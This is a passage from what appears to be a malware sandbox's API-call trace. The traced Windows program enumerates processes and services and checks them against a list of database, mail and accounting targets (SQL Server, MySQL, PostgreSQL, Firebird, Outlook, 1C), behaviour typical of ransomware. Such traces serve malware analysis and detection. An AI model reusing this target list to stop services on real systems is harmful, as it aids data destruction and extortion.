th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0257.478] lstrlenW (lpString="csrss.exe") returned 9 [0257.478] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0257.478] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0257.478] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0257.478] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0257.478] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0257.478] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0257.478] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0257.478] Process32NextW (in: hSnapshot=0x188, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0257.479] lstrlenW (lpString="wininit.exe") returned 11 [0257.479] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0257.479] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0257.480] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0257.480] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0257.480] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0257.480] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0257.480] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0257.480] Process32NextW (in: hSnapshot=0x188, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0257.481] lstrlenW (lpString="csrss.exe") returned 9 [0257.481] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0257.481] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0257.481] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0257.481] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0257.481] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0257.482] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0257.482] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0257.482] Process32NextW (in: hSnapshot=0x188, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0257.483] lstrlenW (lpString="winlogon.exe") returned 12 [0257.483] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0257.483] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0257.483] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0257.483] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0257.484] Process32NextW (in: hSnapshot=0x188, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0257.485] lstrlenW (lpString="services.exe") returned 12 [0257.485] Process32NextW (in: hSnapshot=0x188, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0257.486] lstrlenW (lpString="lsass.exe") returned 9 [0257.486] Process32NextW (in: hSnapshot=0x188, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0257.652] lstrlenW (lpString="lsm.exe") returned 7 [0257.652] Process32NextW (in: hSnapshot=0x188, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.654] lstrlenW (lpString="svchost.exe") returned 11 [0257.654] Process32NextW (in: hSnapshot=0x188, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.655] lstrlenW (lpString="svchost.exe") returned 11 [0257.655] Process32NextW (in: hSnapshot=0x188, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.656] lstrlenW (lpString="svchost.exe") returned 11 [0257.656] Process32NextW (in: hSnapshot=0x188, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.657] lstrlenW (lpString="svchost.exe") returned 11 [0257.657] Process32NextW (in: hSnapshot=0x188, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.659] lstrlenW (lpString="svchost.exe") returned 11 [0257.659] Process32NextW (in: hSnapshot=0x188, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0257.660] lstrlenW (lpString="audiodg.exe") returned 11 [0257.660] Process32NextW (in: hSnapshot=0x188, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.661] lstrlenW (lpString="svchost.exe") returned 11 [0257.662] Process32NextW (in: hSnapshot=0x188, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0257.663] lstrlenW (lpString="explorer.exe") returned 12 [0257.663] Process32NextW (in: hSnapshot=0x188, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0257.664] lstrlenW (lpString="dwm.exe") returned 7 [0257.664] Process32NextW (in: hSnapshot=0x188, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.665] lstrlenW (lpString="svchost.exe") returned 11 [0257.665] Process32NextW (in: hSnapshot=0x188, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="driver.exe")) returned 1 [0257.666] lstrlenW (lpString="driver.exe") returned 10 [0257.666] Process32NextW (in: hSnapshot=0x188, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0257.667] lstrlenW (lpString="spoolsv.exe") returned 11 [0257.668] Process32NextW (in: hSnapshot=0x188, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0257.669] lstrlenW (lpString="taskhost.exe") returned 12 [0257.669] Process32NextW (in: hSnapshot=0x188, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.670] lstrlenW (lpString="svchost.exe") returned 11 [0257.670] Process32NextW (in: hSnapshot=0x188, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0257.671] lstrlenW (lpString="reader_sl.exe") returned 13 [0257.671] Process32NextW (in: hSnapshot=0x188, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0257.672] lstrlenW (lpString="taskhost.exe") returned 12 [0257.672] Process32NextW (in: hSnapshot=0x188, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0257.673] lstrlenW (lpString="dllhost.exe") returned 11 [0257.673] Process32NextW (in: hSnapshot=0x188, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0257.675] CloseHandle (hObject=0x188) returned 1 [0257.675] Sleep (dwMilliseconds=0x1f4) [0258.318] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41c32c0 [0258.319] EnumServicesStatusExW (in: hSCManager=0x41c32c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0258.320] GetLastError () returned 0xea [0258.320] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x11e4) returned 0x4254088 [0258.321] EnumServicesStatusExW (in: hSCManager=0x41c32c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4254088, cbBufSize=0x11e4, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4254088, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0258.323] CloseServiceHandle (hSCObject=0x41c32c0) returned 1 [0258.323] lstrlenW (lpString="Appinfo") returned 7 [0258.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0258.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0258.323] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0258.324] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0258.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0258.324] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0258.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0258.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0258.324] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0258.324] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0258.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0258.324] lstrlenW (lpString="AudioSrv") returned 8 [0258.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0258.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0258.324] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0258.325] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0258.325] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0258.325] lstrlenW (lpString="BFE") returned 3 [0258.325] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0258.325] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0258.325] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0258.325] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0258.325] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0258.325] lstrlenW (lpString="CryptSvc") returned 8 [0258.325] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0258.325] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0258.326] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0258.326] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0258.326] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0258.326] lstrlenW (lpString="CscService") returned 10 [0258.326] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0258.326] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0258.326] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0258.326] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0258.326] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0258.326] lstrlenW (lpString="DcomLaunch") returned 10 [0258.326] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0258.326] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0258.326] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0258.327] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0258.327] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0258.327] lstrlenW (lpString="Dhcp") returned 4 [0258.327] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0258.327] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0258.327] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0258.327] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0258.327] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0258.327] lstrlenW (lpString="Dnscache") returned 8 [0258.327] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0258.327] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0258.327] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0258.327] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0258.327] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0258.327] lstrlenW (lpString="DPS") returned 3 [0258.328] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0258.328] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0258.328] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0258.328] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0258.328] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0258.328] lstrlenW (lpString="eventlog") returned 8 [0258.328] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0258.328] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0258.328] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0258.328] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0258.328] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0258.328] lstrlenW (lpString="EventSystem") returned 11 [0258.329] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0258.329] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0258.329] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0258.329] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0258.329] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0258.329] lstrlenW (lpString="gpsvc") returned 5 [0258.329] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0258.330] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0258.330] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0258.330] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0258.330] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0258.330] lstrlenW (lpString="iphlpsvc") returned 8 [0258.330] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0258.330] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0258.330] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0258.330] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0258.330] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0258.330] lstrlenW (lpString="LanmanServer") returned 12 [0258.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0258.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0258.331] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0258.331] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0258.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0258.331] lstrlenW (lpString="LanmanWorkstation") returned 17 [0258.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0258.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0258.331] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0258.331] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0258.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0258.332] lstrlenW (lpString="lmhosts") returned 7 [0258.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0258.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0258.332] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0258.332] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0258.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0258.332] lstrlenW (lpString="MMCSS") returned 5 [0258.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0258.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0258.332] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0258.332] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0258.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0258.333] lstrlenW (lpString="MpsSvc") returned 6 [0258.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0258.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0258.333] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0258.333] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0258.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0258.333] lstrlenW (lpString="Netman") returned 6 [0258.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0258.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0258.333] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0258.333] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0258.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0258.334] lstrlenW (lpString="netprofm") returned 8 [0258.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0258.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0258.334] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0258.334] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0258.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0258.334] lstrlenW (lpString="NlaSvc") returned 6 [0258.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0258.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0258.334] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0258.335] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0258.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0258.335] lstrlenW (lpString="nsi") returned 3 [0258.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0258.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0258.335] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0258.335] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0258.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0258.335] lstrlenW (lpString="PcaSvc") returned 6 [0258.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0258.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0258.336] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0258.336] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0258.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0258.336] lstrlenW (lpString="PlugPlay") returned 8 [0258.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0258.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0258.336] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0258.336] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0258.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0258.336] lstrlenW (lpString="Power") returned 5 [0258.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0258.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0258.337] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0258.337] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0258.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0258.337] lstrlenW (lpString="ProfSvc") returned 7 [0258.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0258.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0258.337] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0258.337] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0258.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0258.337] lstrlenW (lpString="RpcEptMapper") returned 12 [0258.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0258.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0258.338] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0258.338] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0258.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0258.338] lstrlenW (lpString="RpcSs") returned 5 [0258.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0258.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0258.338] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0258.338] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0258.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0258.338] lstrlenW (lpString="SamSs") returned 5 [0258.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0258.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0258.338] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0258.339] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0258.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0258.339] lstrlenW (lpString="Schedule") returned 8 [0258.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0258.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0258.339] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0258.339] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") 